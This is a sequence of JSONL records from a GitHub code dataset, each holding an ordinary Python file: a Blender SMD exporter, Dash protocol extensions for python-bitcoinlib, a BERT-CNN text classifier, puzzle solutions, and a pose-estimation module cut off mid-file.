config_name=\"config_afhq_step2\")\ndef main(cfg: DictConfig):\n outdir = cfg.outdir # sample the training intermediate result during the training process\n\n # Setup training options of step2\n run_desc, args = setup_training_loop_kwargs(cfg)\n\n # Pick output directory.\n prev_run_dirs = []\n if os.path.isdir(outdir):\n prev_run_dirs = [x for x in os.listdir(outdir) if os.path.isdir(os.path.join(outdir, x))]\n\n if cfg.resume_run is None:\n prev_run_ids = [re.match(r'^\\d+', x) for x in prev_run_dirs]\n prev_run_ids = [int(x.group()) for x in prev_run_ids if x is not None]\n cur_run_id = max(prev_run_ids, default=-1) + 1\n else:\n cur_run_id = cfg.resume_run\n\n args.run_dir = os.path.join(outdir, f'{cur_run_id:05d}-{run_desc}')\n print(args.run_dir)\n\n if cfg.resume_run is not None:\n pkls = sorted(glob.glob(args.run_dir + '/network*.pkl'))\n if len(pkls) > 0:\n args.resume_pkl = pkls[-1]\n args.resume_start = int(args.resume_pkl.split('-')[-1][:-4]) * 1000\n else:\n args.resume_start = 0\n\n # Print options.\n print()\n print('Training options:')\n print(OmegaConf.to_yaml(args))\n print()\n print(f'Output directory: {args.run_dir}')\n print(f'Training duration: {args.total_kimg} kimg')\n\n # Dry run?\n if cfg.dry_run:\n print('Dry run; exiting.')\n return\n\n # Create output directory.\n print('Creating output directory...')\n if not os.path.exists(args.run_dir):\n os.makedirs(args.run_dir)\n with open(os.path.join(args.run_dir, 'training_options.yaml'), 'wt') as fp:\n OmegaConf.save(config=args, f=fp.name)\n\n # Launch processes.\n print('Launching processes...')\n if (args.launcher == 'spawn') and (args.num_gpus > 1):\n args.dist_url = distributed_utils.get_init_file().as_uri()\n torch.multiprocessing.set_start_method('spawn')\n torch.multiprocessing.spawn(fn=subprocess_fn, args=(args,), nprocs=args.num_gpus)\n else:\n subprocess_fn(rank=0, args=args)\n\nif __name__==\"__main__\":\n main()\n","repo_name":"sen-mao/3di2i-translation","sub_path":"run_train_step2.py","file_name":"run_train_step2.py","file_ext":"py","file_size_in_byte":10661,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"61"} +{"seq_id":"36576867713","text":"import bpy\nfrom typing import List\n\n\nclass Settings:\n def __init__(self, prepend_armature: bool, ignore_transforms: bool):\n self.prepend_armature = prepend_armature\n self.ignore_transforms = ignore_transforms\n\n\nclass Lookup:\n def __init__(self, settings: Settings):\n self.settings = settings\n\n if self.settings.prepend_armature:\n name = 'Source.Implicit'\n else:\n name = 'Implicit'\n\n self.bones = [name]\n\n def __getitem__(self, key: str) -> int:\n if key in self.bones:\n return self.bones.index(key)\n else:\n return -1\n\n def from_blender(self, armature: bpy.types.Object):\n if armature:\n for bone in armature.data.bones:\n bone: bpy.types.Bone\n\n if self.settings.prepend_armature:\n name = f'{armature.name}.{bone.name}'\n else:\n name = bone.name\n\n self.bones.append(name)\n\n\nclass Node:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.index = 0\n\n if self.settings.prepend_armature:\n name = 'Source.Implicit'\n else:\n name = 'Implicit'\n\n self.name = name\n self.parent = -1\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, bone: bpy.types.Bone):\n if self.settings.prepend_armature:\n name = f'{armature.name}.{bone.name}'\n else:\n name = bone.name\n\n if bone.parent:\n if self.settings.prepend_armature:\n parent = lookup[f'{armature.name}.{bone.parent.name}']\n else:\n parent = lookup[bone.parent.name]\n else:\n parent = -1\n\n self.index = lookup[name]\n self.name = name\n self.parent = parent\n\n def to_string(self) -> str:\n return f'{self.index} \"{self.name}\" {self.parent}\\n'\n\n\nclass Nodes:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.nodes = [Node(self.settings)]\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object):\n if armature:\n for bone in armature.data.bones:\n bone: bpy.types.Bone\n\n node = Node(self.settings)\n node.from_blender(lookup, armature, bone)\n self.nodes.append(node)\n\n def to_string(self) -> str:\n header = f'nodes\\n'\n nodes = ''.join(bone.to_string() for bone in self.nodes)\n footer = f'end\\n'\n return f'{header}{nodes}{footer}'\n\n\nclass RestBone:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.index = 0\n self.translation = [0, 0, 0]\n self.rotation = [0, 0, 0]\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, bone: bpy.types.Bone):\n if self.settings.prepend_armature:\n name = f'{armature.name}.{bone.name}'\n else:\n name = bone.name\n\n if bone.parent:\n parent = bone.parent.matrix_local.inverted_safe()\n matrix = parent @ bone.matrix_local\n\n elif not self.settings.ignore_transforms:\n transforms = armature.matrix_world\n matrix = transforms @ bone.matrix_local\n\n else:\n matrix = bone.matrix_local\n\n self.index = lookup[name]\n self.translation = matrix.to_translation()[0:3]\n self.rotation = matrix.to_euler()[0:3]\n\n def to_string(self) -> str:\n index = f'{self.index}'\n translation = ' '.join(f'{n:.6f}' for n in self.translation)\n rotation = ' '.join(f'{n:.6f}' for n in self.rotation)\n return f'{index} {translation} {rotation}\\n'\n\n\nclass RestFrame:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.bones = [RestBone(self.settings)]\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object):\n for bone in armature.data.bones:\n bone: bpy.types.Bone\n\n rest_bone = RestBone(self.settings)\n rest_bone.from_blender(lookup, armature, bone)\n self.bones.append(rest_bone)\n\n def to_string(self) -> str:\n time = f'time 0\\n'\n bones = ''.join(bone.to_string() for bone in self.bones)\n return f'{time}{bones}'\n\n\nclass PoseBone:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.index = 0\n self.translation = [0, 0, 0]\n self.rotation = [0, 0, 0]\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, bone: bpy.types.PoseBone):\n if self.settings.prepend_armature:\n name = f'{armature.name}.{bone.name}'\n else:\n name = bone.name\n\n if bone.parent:\n parent = bone.parent.matrix.inverted_safe()\n matrix = parent @ bone.matrix\n\n elif not self.settings.ignore_transforms:\n transforms = armature.matrix_world\n matrix = transforms @ bone.matrix\n\n else:\n matrix = bone.matrix\n\n self.index = lookup[name]\n self.translation = matrix.to_translation()[0:3]\n self.rotation = matrix.to_euler()[0:3]\n\n def to_string(self) -> str:\n index = f'{self.index}'\n translation = ' '.join(f'{n:.6f}' for n in self.translation)\n rotation = ' '.join(f'{n:.6f}' for n in self.rotation)\n return f'{index} {translation} {rotation}\\n'\n\n\nclass PoseFrame:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.time = 0\n self.bones = [PoseBone(self.settings)]\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, time: int):\n self.time = time\n\n for bone in armature.pose.bones:\n bone: bpy.types.PoseBone\n\n pose_bone = PoseBone(self.settings)\n pose_bone.from_blender(lookup, armature, bone)\n self.bones.append(pose_bone)\n\n def to_string(self) -> str:\n time = f'time {self.time}\\n'\n bones = ''.join(bone.to_string() for bone in self.bones)\n return f'{time}{bones}'\n\n\nclass Skeleton:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.frames = []\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, action: bpy.types.Action):\n if not armature:\n frame = RestFrame(self.settings)\n self.frames.append(frame)\n\n elif not action:\n frame = RestFrame(self.settings)\n frame.from_blender(lookup, armature)\n self.frames.append(frame)\n\n else:\n if not armature.animation_data:\n new_animation_data = armature.animation_data_create()\n else:\n new_animation_data = None\n\n original_action = armature.animation_data.action\n armature.animation_data.action = action\n\n if not original_action:\n pose_backup = {}\n\n for pose_bone in armature.pose.bones:\n pose_bone: bpy.types.PoseBone\n pose_backup[pose_bone] = pose_bone.matrix.copy()\n\n original_frame = bpy.context.scene.frame_current\n\n start = int(action.frame_range[0])\n end = int(action.frame_range[1])\n\n for time in range(start, end + 1):\n bpy.context.scene.frame_set(time)\n\n frame = PoseFrame(self.settings)\n frame.from_blender(lookup, armature, time)\n self.frames.append(frame)\n\n bpy.context.scene.frame_set(original_frame)\n\n if not original_action:\n for pose_bone, matrix in pose_backup.items():\n pose_bone.matrix = matrix\n\n if new_animation_data:\n armature.animation_data_clear()\n else:\n armature.animation_data.action = original_action\n\n def to_string(self) -> str:\n header = f'skeleton\\n'\n frames = ''.join(frame.to_string() for frame in self.frames)\n footer = f'end\\n'\n return f'{header}{frames}{footer}'\n\n\nclass Vertex:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.coords = [0, 0, 0]\n self.normal = [0, 0, 0]\n self.uvs = [0, 0]\n self.bones = []\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, object: bpy.types.Object, mesh: bpy.types.Mesh, loop: bpy.types.MeshLoop):\n vertex = mesh.vertices[loop.vertex_index]\n self.coords = vertex.co[0:3]\n self.normal = loop.normal[0:3]\n\n if mesh.uv_layers:\n self.uvs = mesh.uv_layers.active.data[loop.index].uv[0:2]\n else:\n self.uvs = [0.0, 0.0]\n\n if armature:\n for group in vertex.groups:\n group: bpy.types.VertexGroupElement\n\n bone = object.vertex_groups[group.group]\n\n if self.settings.prepend_armature:\n name = f'{armature.name}.{bone.name}'\n else:\n name = bone.name\n\n index = lookup[name]\n\n if index != -1:\n weight = group.weight\n self.bones.append([index, weight])\n\n def to_string(self) -> str:\n parent = f'0'\n coords = ' '.join(f'{n:.6f}' for n in self.coords)\n normal = ' '.join(f'{n:.6f}' for n in self.normal)\n uvs = ' '.join(f'{n:.6f}' for n in self.uvs)\n count = f'{len(self.bones)}'\n bones = ' '.join(f'{i} {w:.6f}' for i, w in self.bones)\n\n if self.bones:\n return f'{parent} {coords} {normal} {uvs} {count} {bones}\\n'\n else:\n return f'{parent} {coords} {normal} {uvs}\\n'\n\n\nclass Triangle:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.material = ''\n self.vertices = []\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, object: bpy.types.Object, mesh: bpy.types.Mesh, poly: bpy.types.MeshPolygon):\n if poly.material_index < len(mesh.materials):\n self.material = mesh.materials[poly.material_index]\n self.material = getattr(self.material, 'name', 'no_material')\n\n for loop in [mesh.loops[i] for i in poly.loop_indices]:\n vertex = Vertex(self.settings)\n vertex.from_blender(lookup, armature, object, mesh, loop)\n self.vertices.append(vertex)\n\n def to_string(self) -> str:\n material = f'{self.material}\\n'\n vertices = ''.join(vertex.to_string() for vertex in self.vertices)\n return f'{material}{vertices}'\n\n\nclass Triangles:\n def __init__(self, settings: Settings):\n self.settings = settings\n self.triangles = []\n\n def from_blender(self, lookup: Lookup, armature: bpy.types.Object, object: bpy.types.Object):\n if object.type not in {'MESH', 'CURVE', 'SURFACE', 'FONT'}:\n return\n\n collection = bpy.data.collections.new('SourceOps')\n bpy.context.scene.collection.children.link(collection)\n object = object.copy()\n collection.objects.link(object)\n\n mod: bpy.types.TriangulateModifier = object.modifiers.new('Triangulate', 'TRIANGULATE')\n mod.min_vertices = 4\n mod.quad_method = 'FIXED'\n mod.ngon_method = 'CLIP'\n mod.keep_custom_normals = True\n\n for mod in getattr(object, 'modifiers', []):\n if mod.type == 'ARMATURE':\n mod.show_viewport = False\n\n bpy.context.view_layer.update()\n depsgraph: bpy.types.Depsgraph = bpy.context.evaluated_depsgraph_get()\n evaluated: bpy.types.Object = object.evaluated_get(depsgraph)\n mesh = bpy.data.meshes.new_from_object(evaluated, preserve_all_data_layers=True, depsgraph=depsgraph)\n\n if not self.settings.ignore_transforms:\n mesh.transform(object.matrix_world)\n mesh.calc_normals_split()\n\n for poly in mesh.polygons:\n triangle = Triangle(self.settings)\n triangle.from_blender(lookup, armature, object, mesh, poly)\n self.triangles.append(triangle)\n\n mesh.free_normals_split()\n bpy.data.meshes.remove(mesh)\n\n bpy.data.objects.remove(object)\n bpy.data.collections.remove(collection)\n\n def to_string(self) -> str:\n header = f'triangles\\n'\n triangles = ''.join(triangle.to_string() for triangle in self.triangles)\n footer = f'end\\n'\n return f'{header}{triangles}{footer}'\n\n\nclass SMD:\n def __init__(self, prepend_armature: bool, ignore_transforms: bool):\n self.settings = Settings(prepend_armature, ignore_transforms)\n self.lookup = Lookup(self.settings)\n self.nodes = Nodes(self.settings)\n self.skeleton = Skeleton(self.settings)\n self.triangles = Triangles(self.settings)\n\n def configure_scene(self, objects: List[bpy.types.Object]) -> dict:\n scene_settings = {'mode': 'OBJECT', 'objects': {o: {} for o in objects}}\n\n if bpy.context.active_object:\n scene_settings['mode'] = bpy.context.active_object.mode\n bpy.ops.object.mode_set(mode='OBJECT')\n\n for object in objects:\n scene_settings['objects'][object]['hide_viewport'] = True if object.hide_viewport else False\n object.hide_viewport = False\n\n return scene_settings\n\n def restore_scene(self, scene_settings: dict):\n for object in scene_settings['objects'].keys():\n object.hide_viewport = scene_settings['objects'][object]['hide_viewport']\n\n if scene_settings['mode'] != 'OBJECT':\n bpy.ops.object.mode_set(mode=scene_settings['mode'])\n\n def from_blender(self, armature: bpy.types.Object, objects: List[bpy.types.Object], action: bpy.types.Action):\n if armature:\n all_objects = set([armature] + objects)\n else:\n all_objects = set(objects)\n\n scene_settings = self.configure_scene(all_objects)\n\n self.lookup.from_blender(armature)\n self.nodes.from_blender(self.lookup, armature)\n self.skeleton.from_blender(self.lookup, armature, action)\n\n for object in objects:\n self.triangles.from_blender(self.lookup, armature, object)\n\n self.restore_scene(scene_settings)\n\n def to_string(self) -> str:\n version = f'version 1\\n'\n nodes = self.nodes.to_string()\n skeleton = self.skeleton.to_string()\n triangles = self.triangles.to_string()\n return f'{version}{nodes}{skeleton}{triangles}'\n","repo_name":"bonjorno7/SourceOps","sub_path":"addon/types/model_export/smd.py","file_name":"smd.py","file_ext":"py","file_size_in_byte":14591,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"61"} +{"seq_id":"210281578","text":"\nimport struct\n\nimport bitcoin\nimport bitcoin.core\nfrom bitcoin.core import CTxIn, b2lx\nfrom bitcoin.core.serialize import ser_read, BytesSerializer\n\n\nclass MainParams(bitcoin.core.CoreMainParams):\n MESSAGE_START = b'\\xbf\\x0c\\x6b\\xbd'\n DEFAULT_PORT = 9999\n RPC_PORT = 9998\n DNS_SEEDS = ()\n BASE58_PREFIXES = {'PUBKEY_ADDR': 76,\n 'SCRIPT_ADDR': 16,\n 'SECRET_KEY': 204}\n\nbitcoin.params = bitcoin.MainParams = MainParams\n\n\nclass TestNetParams(bitcoin.core.CoreTestNetParams):\n MESSAGE_START = b'\\xce\\xe2\\xca\\xff'\n DEFAULT_PORT = 19999\n RPC_PORT = 19998\n DNS_SEEDS = ()\n BASE58_PREFIXES = {'PUBKEY_ADDR': 139,\n 'SCRIPT_ADDR': 19,\n 'SECRET_KEY': 239}\n\nbitcoin.TestNetParams = TestNetParams\n\nimport bitcoin.net\n\nbitcoin.net.PROTO_VERSION = 70103\n\n\nclass CInv(bitcoin.net.CInv):\n typemap = {\n 0: \"Error\",\n 1: \"TX\",\n 2: \"Block\",\n 3: \"FILTERED_BLOCK\",\n 4: \"TXLOCK_REQUEST\",\n 5: \"TXLOCK_VOTE\",\n 6: \"SPORK\",\n 7: \"MASTERNODE_WINNER\",\n 8: \"MASTERNODE_SCANNING_ERROR\",\n 9: \"BUDGET_VOTE\",\n 10: \"BUDGET_PROPOSAL\",\n 11: \"BUDGET_FINALIZED\",\n 12: \"BUDGET_FINALIZED_VOTE\",\n 13: \"MASTERNODE_QUORUM\",\n 14: \"MASTERNODE_ANNOUNCE\",\n 15: \"MASTERNODE_PING\",\n 16: \"DSTX\"}\n\nbitcoin.net.CInv = CInv\n\nimport bitcoin.messages\n\n\nclass CTransactionLock(bitcoin.core.ImmutableSerializable):\n \"\"\"Dash InstantX transaction lock:\n hash, masternode vin, masternode signatures, effective block \"\"\"\n __slots__ = ['hash', 'vin', 'sig', 'height']\n\n def __init__(self, hash=b'\\x00'*32, vin=CTxIn(), sig=b'\\x00'*65, height=0):\n \"\"\"Create a new transaction lock\n hash is the transaction id being locked\n vin is the masternode funding address\n sig is the masternodes signature for the lock\n height is the block the lock is effective\n If their contents are not already immutable, immutable copies will be\n made.\n \"\"\"\n if not len(hash) == 32:\n raise ValueError(\n 'CTransactionLock: hash must be exactly 32 bytes; got %d bytes' % len(hash)) # noqa\n object.__setattr__(self, 'hash', hash)\n object.__setattr__(self, 'vin', vin)\n if not len(sig) == 65:\n raise ValueError(\n 'CTransactionLock: sig must be exactly 65 bytes; got %d bytes' % len(sig)) # noqa\n object.__setattr__(self, 'sig', sig)\n object.__setattr__(self, 'height', height)\n\n @classmethod\n def stream_deserialize(cls, f):\n hash = ser_read(f, 32)\n vin = CTxIn.stream_deserialize(f)\n sig = BytesSerializer.stream_deserialize(f)\n height = struct.unpack(b\"<I\", ser_read(f, 4))[0]\n return cls(hash, vin, sig, height)\n\n def stream_serialize(self, f):\n f.write(self.hash)\n f.write(self.vin.stream_serialize())\n BytesSerializer.stream_serialize(self.sig, f)\n f.write(struct.pack(b\"<I\", self.height))\n\n def __repr__(self):\n return 'CTransactionLock(lx(%r), %r, lx(%r), %i)' % (\n b2lx(self.hash), self.vin, b2lx(self.sig), self.height)\n\n\nclass msg_ix(bitcoin.messages.MsgSerializable):\n command = b\"ix\"\n\n def __init__(self, protover=bitcoin.net.PROTO_VERSION):\n super(msg_ix, self).__init__(protover)\n self.tx = bitcoin.core.CTransaction()\n\n @classmethod\n def msg_deser(cls, f, protover=bitcoin.net.PROTO_VERSION):\n c = cls()\n c.tx = bitcoin.core.CTransaction.stream_deserialize(f)\n return c\n\n def msg_ser(self, f):\n self.tx.stream_serialize(f)\n\n def __repr__(self):\n return \"msg_ix(ix=%s)\" % (repr(self.tx))\n\n\nclass msg_txlvote(bitcoin.messages.MsgSerializable):\n command = b\"txlvote\"\n\n def __init__(self, protover=bitcoin.net.PROTO_VERSION):\n super(msg_txlvote, self).__init__(protover)\n self.txlvote = CTransactionLock()\n\n @classmethod\n def msg_deser(cls, f, protover=bitcoin.net.PROTO_VERSION):\n c = cls()\n c.txlvote = CTransactionLock.stream_deserialize(f)\n return c\n\n def msg_ser(self, f):\n self.txlvote.stream_serialize(f)\n\n def __repr__(self):\n return \"msg_txlvote(tx=%s)\" % (repr(self.txlvote))\n\n\nclass msg_ignore():\n\n @classmethod\n def msg_deser(cls, f, protover=bitcoin.net.PROTO_VERSION):\n return None\n\nbitcoin.messages.msg_txlvote = msg_txlvote\nbitcoin.messages.msg_ix = msg_ix\nbitcoin.messages.messagemap[\"txlvote\"] = msg_txlvote\nbitcoin.messages.messagemap[\"ix\"] = msg_ix\n\nbitcoin.messages.messagemap[\"ssc\"] = msg_ignore\nbitcoin.messages.messagemap[\"dsq\"] = msg_ignore\nbitcoin.messages.messagemap[\"dseg\"] = msg_ignore\nbitcoin.messages.messagemap[\"getsporks\"] = msg_ignore\nbitcoin.messages.messagemap[\"mnget\"] = msg_ignore\nbitcoin.messages.messagemap[\"mnvs\"] = msg_ignore\n","repo_name":"moocowmoo/dashvend","sub_path":"bin/dashvend/dash.py","file_name":"dash.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"61"} +{"seq_id":"1534350755","text":"'''\nConverts the PDB ID file taken from the PDB online database, into the format desired for this project. This format is such that each PDB ID resides on its own line in the file.\n\ngetIDFile.py rawIDFilePath finalIDFilePath\n'''\n\n\nimport sys\n\n\ndef main(rawIDFilePath:str, finalIDFilePath:str) -> None:\n with open(rawIDFilePath, 'r') as rawIDFile, \\\n open(finalIDFilePath, 'w') as finalIDFile:\n\n idList = rawIDFile.read().split(',')\n\n finalIDFile.write('\\n'.join(idList))\n\n print('Finished running!')\n\n\nif __name__ == '__main__':\n _,rawIDFilePath,finalIDFilePath = sys.argv\n\n main(rawIDFilePath,finalIDFilePath)\n","repo_name":"alanyluo/LigandDensityAnalysisIntern","sub_path":"GlobalCode/globalCode/getIDFile.py","file_name":"getIDFile.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23734433800","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\nfrom . import views\n\nurlpatterns = patterns('',\n url(r'^login/$', 'django.contrib.auth.views.login', name='login'),\n url(r'^$', views.home, name='home'),\n\n url(r'^collection/(?P<collection_id>[0-9]+)/$', views.collection, name='collection'),\n url(r'^collection/(?P<collection_id>[0-9]+)/ressource/add$', views.ressource_add, name='ressource_add'),\n\n)\n","repo_name":"nahuelange/HermesPress","sub_path":"hermes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23416779831","text":"n = int(input())\r\nfor i in range(n):\r\n\tst = input()\r\n\tst_row = set([input() for i in range(4)][int(st)-1].split())\r\n\tnd = input()\r\n\tnd_row = set([input() for i in range(4)][int(nd)-1].split())\r\n\tans = st_row.intersection(nd_row)\r\n\tif len(ans)==1:\r\n\t\tsans = ans.pop()\r\n\telif len(ans)==0:\r\n\t\tsans = 'Volunteer cheated!'\r\n\telse:\r\n\t\tsans = 'Bad magician!'\r\n\tprint('Case #{}: {}'.format(i+1, sans))\r\n\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/3446.py","file_name":"3446.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23580208091","text":"\r\ndef executer_calcul(entrees):\r\n\tD=entrees[0]\r\n\tN=entrees[1]\r\n\tK=entrees[2]\r\n\tS=entrees[3]\r\n\tCase=entrees[4]\r\n\tH=0.0\r\n\tfor i in range(N):\r\n\t\tH=max(H,(D-K[i])/S[i])\r\n\treturn str(D/H)\r\n\r\n\r\n# Main : lecture du fichier input, appel à la fonction executer_calcul et impression des résultats dans un fichier output\r\nmultiprocessed=False # Décide si l'on parallélise les calculs pour gagner du temps\r\nif (multiprocessed): from multiprocessing import Pool\r\nif ((not multiprocessed) or __name__ == '__main__'):\r\n\t# Lecture du fichier input\r\n\twith open(\"Input.txt\", \"r\") as input_file:\r\n\t\tinput=input_file.readlines()\r\n\t# Exploitation du fichier ainsi enregistré\r\n\tT=int(input[0])\r\n\tcurrent_line=1\r\n\tentrees=[]\r\n\tCase=1\r\n\twhile(current_line<len(input)):\r\n\t\tD,N=map(int,input[current_line].split(' '))\r\n\t\tcurrent_line+=1\r\n\t\tK=[0]*N\r\n\t\tS=[0]*N\r\n\t\tfor i in range(N):\r\n\t\t\tk,s=map(int,input[current_line].split(' '))\r\n\t\t\tK[i]=k\r\n\t\t\tS[i]=s\r\n\t\t\tcurrent_line+=1\r\n\t\tentrees.append([D,N,K,S,Case])\r\n\t\tCase=Case+1\r\n\t# Exécution des calculs\r\n\tresults=['']*len(entrees)\r\n\tif (not multiprocessed):\r\n\t\tfor case in range(len(entrees)):\r\n\t\t\tresults[case]=executer_calcul(entrees[case])\r\n\telse:\r\n\t\tpool=Pool(3) # Décide du nombre de processus à faire tourner en parallèle\r\n\t\tresults=pool.map(executer_calcul,entrees)\r\n\t# Impression des résultats dans un fichier de sortie\r\n\twith open('Output.txt','w') as output:\r\n\t\tfor case in range(len(entrees)):\r\n\t\t\toutput.write('Case #'+str(case+1)+': '+results[case]+'\\n')\r\n\r\n\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/301.py","file_name":"301.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11830471015","text":"from transformers import BertTokenizer\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom transformers import BertModel, AutoConfig,AutoModel,BertConfig\n\nclass config(object):\n def __init__(self):\n # 定义相关路径\n self.tokenizer_path = '../BertPretrained' # Bert的tokenizer路径\n self.model_path = '../BertPretrained' # Bert模型路径\n self.model_name = 'BertCNN' # Bert模型的名称\n self.data_path = '../Data/Dataset/' # 数据的顶层路径\n self.train_data = self.data_path + 'train_data.json' # 训练集\n self.eval_data = self.data_path + 'eval_data.json' # 验证集\n self.test_data = self.data_path + 'test_data.json' # 测试集\n self.predict_save = \"./test/predictBertCNN.csv\" # 定义测试集结果保存路径\n self.model_saved_path = './models/'+self.model_name+'.ckpt' # 定义模型保存的路径及名称\n self.model_config_path = self.model_path + '/config.json' # 定义模型的相关配置文件路径\n\n # 分类类别设置\n self.class_data = [x.strip() for x in open(self.data_path + 'class.txt', encoding='utf-8').readlines()]\n self.class_len = len(self.class_data) # 分类类别数\n\n # 训练设置\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # 设备\n self.maxiter_without_improvement = 1000 # 若超过1000轮效果仍然没有提升,则提前结束训练\n self.epoch = 200 # 训练轮数\n self.learning_rate = 1e-3 # 学习率\n self.batch_size = 64 # mini-batch的大小,即一次训练的大小\n self.pad_size = 64 # 每句话处理成的长度\n self.learning_rate = 5e-5 # 学习率\n self.hidden_size = 768 # 隐藏层大小\n\n # 读入bert tokenizer\n self.tokenizer = BertTokenizer.from_pretrained(self.tokenizer_path)\n\n # CNN网络结构设置\n self.filter_size = (2, 3, 4) # 卷积核size的设置\n self.filter_num = 256 # 卷积核输出的channel数\n self.dropout = 0.3\n\n\nclass BertCNN(nn.Module):\n\n def __init__(self, config):\n super(BertCNN, self).__init__()\n bertConfig = BertConfig.from_json_file(config.model_config_path)\n # 读入bert model\n self.bert = BertModel.from_pretrained(config.model_path, config=bertConfig)\n for param in self.bert.parameters():\n param.requires_grad = True\n self.Convs = nn.ModuleList([nn.Conv2d(1, config.filter_num, (k, config.hidden_size)) for k in config.filter_size])\n self.Dropout = nn.Dropout(config.dropout)\n self.Fc = nn.Linear(config.filter_num * len(config.filter_size), config.class_len)\n\n\n def forward(self, x):\n context = x[0]\n mask = x[2]\n output = self.bert(context.long(), attention_mask=mask)\n output = output['last_hidden_state'] # [batch_size, seq_len, hidden_size]\n output = output.unsqueeze(1)\n outputList = []\n for Conv in self.Convs:\n outputConv = Conv(output).squeeze(3)\n outputMaxpool = F.max_pool1d(outputConv,outputConv.size(2)).squeeze(2)\n outputList.append(outputMaxpool)\n output = torch.cat(outputList,dim=1)\n output = self.Dropout(output)\n output = self.Fc(output)\n return output","repo_name":"limit123123/sentimentAnalysisCourse","sub_path":"Bert/BertCNN.py","file_name":"BertCNN.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34924745033","text":"import sys\nfrom more_itertools import grouper\n\ndef rotate(p): return tuple(''.join(l) for l in zip(*p[:: -1]))\n\nrules = {}\nfor line in sys.stdin:\n l, r = map(lambda p: tuple(p.split('/')), line.strip().split(' => '))\n for _ in range(4):\n rules[l] = r\n rules[l[:: -1]] = r\n l = rotate(l)\n\nfor r in (5, 18):\n grid = ['.#.', '..#', '###']\n for _ in range(r):\n new = []\n size = 2 if len(grid) % 2 == 0 else 3\n for rows in grouper(grid, size):\n newcols = []\n for cols in zip(*(grouper(r, size) for r in rows)):\n newcols.append(rules[tuple(''.join(t) for t in cols)])\n for r in (''.join(t) for t in zip(*newcols)):\n new.append(r)\n grid = new\n print(sum(r.count('#') for r in grid))\n","repo_name":"xilefsensei/adventofcode","sub_path":"17/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39840251905","text":"def fibo():\n terms = int(input(\"Enter how many sequence?:\"))\n n1 = 0\n n2 = 1\n count = 0\n if terms <= 0:\n print(\"please enter a positive number\")\n elif terms == 1:\n print(n1)\n else:\n print(\"fibanocci series starts:\\n\")\n while count < terms:\n print(n1)\n nth = n1 + n2\n n1 = n2\n n2 = nth\n count += 1\nfibo()\n","repo_name":"Rajadurai02/my_python_programs","sub_path":"basic_programs/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25005630896","text":"\"\"\"\nSIPEC\nMARKUS MARKS\nPOSE ESTIMATION\n\"\"\"\nimport json\nimport os\nfrom argparse import ArgumentParser\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport skimage.io\nimport tensorflow as tf\nfrom tensorflow import keras as keras\nfrom tensorflow.keras import backend as K\nfrom tqdm import tqdm\n\nfrom SwissKnife.architectures import posenet as posenet_architecture\nfrom SwissKnife.augmentations import mouse_poseestimation, primate_poseestimation\nfrom SwissKnife.dataprep import (\n get_mouse_dlc_data,\n get_mouse_pose_data,\n get_mouse_pose_dlc_comparison_data,\n get_primate_pose_data,\n)\nfrom SwissKnife.mrcnn.utils import resize\nfrom SwissKnife.mrcnn.config import Config\nfrom SwissKnife.segmentation import SegModel, mold_image, mold_video\nfrom SwissKnife.utils import (\n apply_all_masks,\n callbacks_tf_logging,\n heatmap_to_scatter,\n heatmaps_for_images,\n load_config,\n mask_to_original_image,\n masks_to_coms,\n set_random_seed,\n setGPU,\n)\n\n\n# adapted from https://stanford.edu/~shervine/blog/keras-how-to-generate-data-on-the-fly\nclass DataGenerator(keras.utils.Sequence):\n \"Generates data for Keras\"\n\n def __init__(\n self,\n imgs,\n masks,\n augmentation,\n batch_size=32,\n dim=(32, 32, 32),\n n_channels=1,\n shuffle=True,\n ):\n self.dim = dim\n self.batch_size = batch_size\n self.list_IDs = np.array(range(0, len(imgs)))\n self.n_channels = n_channels\n self.shuffle = shuffle\n 